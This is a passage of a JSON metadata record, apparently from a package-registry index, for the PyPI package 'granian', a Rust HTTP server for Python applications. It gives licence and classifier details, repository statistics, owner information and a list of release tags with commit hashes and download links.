{"id":4311422,"name":"granian","ecosystem":"pypi","description":"A Rust HTTP server for Python applications","homepage":"https://github.com/emmett-framework/granian","licenses":"BSD-3-Clause","normalized_licenses":["BSD-3-Clause"],"repository_url":"https://github.com/emmett-framework/granian","keywords_array":["web","asyncio"],"namespace":null,"versions_count":120,"first_release_published_at":"2022-04-18T21:32:03.000Z","latest_release_published_at":"2026-11-11T19:48:32.000Z","latest_release_number":"2.8.8","latest_published_release_number":"2.8.8","last_synced_at":"2026-11-11T20:10:17.012Z","created_at":"2022-04-18T22:00:41.535Z","updated_at":"2026-11-12T11:08:57.536Z","registry_url":"https://pypi.org/project/granian/","install_command":"pip install granian --index-url https://pypi.org/simple","documentation_url":"https://granian.readthedocs.io/","metadata":{"funding":"https://github.com/sponsors/gi0baro","documentation":null,"classifiers":["Development Status :: 5 - Production/Stable","Intended Audience :: Developers","License :: OSI Approved :: BSD License","Operating System :: MacOS","Operating System :: Microsoft :: Windows","Operating System :: POSIX :: Linux","Programming Language :: Python","Programming Language :: Python :: 3","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.13","Programming Language :: Python :: 3.14","Programming Language :: Python :: 3.15","Programming Language :: Python :: Free Threading :: 2 - Beta","Programming Language :: Python :: Implementation :: CPython","Programming Language :: Python :: Implementation :: PyPy","Programming Language :: Rust","Topic :: Internet :: WWW/HTTP"],"normalized_name":"granian","project_status":null},"repo_metadata":{"id":37898802,"uuid":"482022441","full_name":"emmett-framework/granian","owner":"emmett-framework","description":"A Rust HTTP server for Python applications","archived":false,"fork":false,"pushed_at":"2026-11-04T14:41:02.000Z","size":1863,"stargazers_count":5768,"open_issues_count":54,"forks_count":188,"subscribers_count":42,"default_branch":"master","last_synced_at":"2026-11-06T18:43:26.705Z","etag":null,"topics":["asgi","asyncio","http","http-server","python","rsgi","rust","wsgi"],"latest_commit_sha":null,"homepage":"","language":"Rust","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"bsd-3-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/emmett-framework.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":["gi0baro"]}},"created_at":"2022-04-15T16:41:30.000Z","updated_at":"2026-11-06T04:32:08.000Z","dependencies_parsed_at":"2026-02-08T22:01:02.243Z","dependency_job_id":null,"html_url":"https://github.com/emmett-framework/granian","commit_stats":null,"previous_names":[],"tags_count":111,"template":false,"template_full_name":null,"purl":"pkg:github/emmett-framework/granian","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/emmett-framework","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/sbom","scorecard":null,"funding_links":["https://github.com/sponsors/gi0baro"],"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":349647599,"owners_count":38591812,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-11-03T11:36:44.738Z","status":"online","status_checked_at":"2026-11-06T02:00:06.831Z","response_time":65,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"emmett-framework","name":"Emmett","uuid":"46401492","kind":"organization","description":"","email":null,"website":"https://emmett.sh","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/46401492?v=4","repositories_count":12,"last_synced_at":"2026-11-06T10:13:45.616Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/emmett-framework","funding_links":[],"total_stars":7085,"followers":116,"following":0,"created_at":"2022-11-10T01:04:36.819Z","updated_at":"2026-11-06T10:13:45.626Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/emmett-framework","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/emmett-framework/repositories"},"tags":[{"name":"v2.7.9","sha":"ca36b7dd7bf6963b6ef926434667fd6197b4dafe","kind":"commit","published_at":"2026-07-03T11:31:03.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.7.9","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.7.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.7.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.7.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.7.9/manifests","release_url":null},{"name":"v2.7.8","sha":"e47b37d00e5ee36de98a4b36c9590d834166644a","kind":"commit","published_at":"2026-06-30T15:13:12.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.7.8","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.7.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.7.8/manifests","release_url":null},{"name":"v2.7.7","sha":"3602250172e8f03fc50ef74dc4ba7398b105eee6","kind":"commit","published_at":"2026-06-23T10:06:59.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.7.7","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.7.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.7.7/manifests","release_url":null},{"name":"v2.7.6","sha":"9faa93e27072500412341e7dd325f9a6f4776968","kind":"commit","published_at":"2026-06-10T18:22:29.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.7.6","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.7.6/manifests","release_url":null},{"name":"v2.7.5","sha":"822548b7a4e259fba8ee208308b27b5d1f338908","kind":"commit","published_at":"2026-05-28T10:52:00.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.7.5","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.7.5/manifests","release_url":null},{"name":"v2.7.4","sha":"84af73d40b6416a8e89504055ab9db413a4b1e24","kind":"commit","published_at":"2026-04-23T10:39:24.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.7.4","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.7.4/manifests","release_url":null},{"name":"v2.7.3","sha":"95b0af859f270518693c9aed4fd0533533db9ed5","kind":"commit","published_at":"2026-04-06T16:01:17.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.7.3","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.7.3/manifests","release_url":null},{"name":"v2.7.2","sha":"45d9c75dcf957cb97c6691d0427d26e4d36e6917","kind":"commit","published_at":"2026-02-24T21:41:41.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.7.2","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.7.2/manifests","release_url":null},{"name":"v2.7.1","sha":"1a5a8c3a329b97c3a9be4d9d529ce6a357f5b17b","kind":"commit","published_at":"2026-02-08T18:51:49.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.7.1","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.7.1/manifests","release_url":null},{"name":"v2.7.0","sha":"0de704be82a854fe04e148f61aae1b3b12df0cca","kind":"commit","published_at":"2026-02-02T10:30:54.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.7.0","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.7.0/manifests","release_url":null},{"name":"v2.6.1","sha":"0fbc4b9b09f2f953b49f1fb57d110d24b855bd1d","kind":"commit","published_at":"2026-01-07T10:12:43.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.6.1","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.6.1/manifests","release_url":null},{"name":"v2.6.0","sha":"30a027829947f37fcdae8eba655377011e7e2174","kind":"commit","published_at":"2025-11-16T14:22:51.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.6.0","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.6.0/manifests","release_url":null},{"name":"v2.5.7","sha":"bc1744d2e390772ac1f75c11bb4ad66df58b85ab","kind":"commit","published_at":"2025-11-05T11:39:37.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.5.7","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.5.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.5.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.5.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.5.7/manifests","release_url":null},{"name":"v2.5.6","sha":"3a2fd3720f3b174af4e470a045b5ec147f0b879d","kind":"commit","published_at":"2025-10-29T18:10:20.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.5.6","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.5.6/manifests","release_url":null},{"name":"v2.5.5","sha":"ead1b56661a9d734f02045ada6cac57b8e4cbd37","kind":"commit","published_at":"2025-10-07T17:01:31.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.5.5","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.5.5/manifests","release_url":null},{"name":"v2.5.4","sha":"acfd66d81dfdb69015c4fa48576e2e3473a23811","kind":"commit","published_at":"2025-09-18T11:04:37.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.5.4","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.5.4/manifests","release_url":null},{"name":"v2.5.3","sha":"100d34e65f8a21d70bec5030671ad65db0873ba3","kind":"commit","published_at":"2025-09-11T12:29:37.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.5.3","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.5.3/manifests","release_url":null},{"name":"v2.5.2","sha":"2464ebb5017368281b67f8e55db380734a8ef847","kind":"commit","published_at":"2025-09-02T09:24:37.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.5.2","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.5.2/manifests","release_url":null},{"name":"v2.5.1","sha":"624b89221eb4c41a3c83fad1a5f6930a5d59bf0b","kind":"commit","published_at":"2025-08-26T15:20:40.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.5.1","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.5.1/manifests","release_url":null},{"name":"v2.5.0","sha":"e14dca8f93c744e75c7cebaa81627e6560dd1f1d","kind":"commit","published_at":"2025-07-30T18:07:57.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.5.0","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.5.0/manifests","release_url":null},{"name":"v2.4.2","sha":"985c73c2525ce57d1ed6c6a47c88904a3883b237","kind":"commit","published_at":"2025-07-15T17:23:26.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.4.2","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.4.2/manifests","release_url":null},{"name":"v2.4.1","sha":"3f0bbd271d2d2b07405f82d5493ddd1805e184e6","kind":"commit","published_at":"2025-07-01T20:40:45.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.4.1","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.4.1/manifests","release_url":null},{"name":"v2.4.0","sha":"3e62d24d6e9384cd4c1a203e20ad1b1c1bf2b181","kind":"commit","published_at":"2025-06-28T12:38:54.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.4.0","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.4.0/manifests","release_url":null},{"name":"v2.3.4","sha":"fa63ea8da45d7dac348239a2c3400018f59a658a","kind":"commit","published_at":"2025-06-13T11:02:54.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.3.4","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.3.4/manifests","release_url":null},{"name":"v2.3.3","sha":"7004b1e06a18b760e4dcddb8c18d9063fdcb1c1b","kind":"commit","published_at":"2025-06-08T14:29:25.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.3.3","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.3.3/manifests","release_url":null},{"name":"v2.3.2","sha":"39d508aa92f8755b60c2263fe2fee58855ebaa14","kind":"commit","published_at":"2025-06-02T18:00:09.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.3.2","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.3.2/manifests","release_url":null},{"name":"v2.3.1","sha":"2d171bc7f46c21dff7a246642eecdc0bb9499606","kind":"commit","published_at":"2025-05-20T12:48:09.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.3.1","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.3.1/manifests","release_url":null},{"name":"v2.3.0","sha":"17c45dd580a87db76e84edee31f080e716b8e01f","kind":"commit","published_at":"2025-05-19T08:25:13.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.3.0","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.3.0/manifests","release_url":null},{"name":"v2.2.6","sha":"f5cf71fd0bdf120b83a990a8afa6793273313d48","kind":"commit","published_at":"2025-05-07T17:22:09.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.2.6","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.2.6/manifests","release_url":null},{"name":"v2.2.5","sha":"77e9d8ecb22523b90e8e24f26a592171028b53bd","kind":"commit","published_at":"2025-04-16T19:08:29.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.2.5","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.2.5/manifests","release_url":null},{"name":"v2.2.4","sha":"22547279866195d3c67d151c7f80e59b18723aa8","kind":"commit","published_at":"2025-04-11T16:11:57.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.2.4","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.2.4/manifests","release_url":null},{"name":"v2.2.3","sha":"0cdba745eaf30c9e11c33b6b51d25bb6ca226c4e","kind":"commit","published_at":"2025-04-09T17:29:28.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.2.3","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.2.3/manifests","release_url":null},{"name":"v2.2.2","sha":"63e5e04bac1933a4e223500ffda3dc7ae7e3547e","kind":"commit","published_at":"2025-04-06T14:10:12.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.2.2","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.2.2/manifests","release_url":null},{"name":"v2.2.1","sha":"7858f63a0cd234eecd08f46fcbf2e49f93417e34","kind":"commit","published_at":"2025-04-02T18:16:07.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.2.1","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.2.1/manifests","release_url":null},{"name":"v2.2.0","sha":"cfea98aacf13f1d575428d9a5b9cd09e968778b8","kind":"commit","published_at":"2025-03-23T19:44:12.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.2.0","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.2.0/manifests","release_url":null},{"name":"v2.1.2","sha":"5887b525366f45c5150e2cd1c4cf8bc8e18fbec5","kind":"commit","published_at":"2025-03-21T11:51:23.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.1.2","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.1.2/manifests","release_url":null},{"name":"v2.1.1","sha":"77f716823554bb9a5a59baa04eca4c1254ca8d4c","kind":"commit","published_at":"2025-03-19T18:23:03.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.1.1","html_url":"https://github.com/emmett-framework/granian/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v2.1.1/manifests","release_url":null},{"name":"v2.1.0","sha":"07bb80f428c22ad101995a462b8e83797674fcc9","kind":"commit","published_at":"2025-03-18T19:04:29.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v2.1.0","html_url":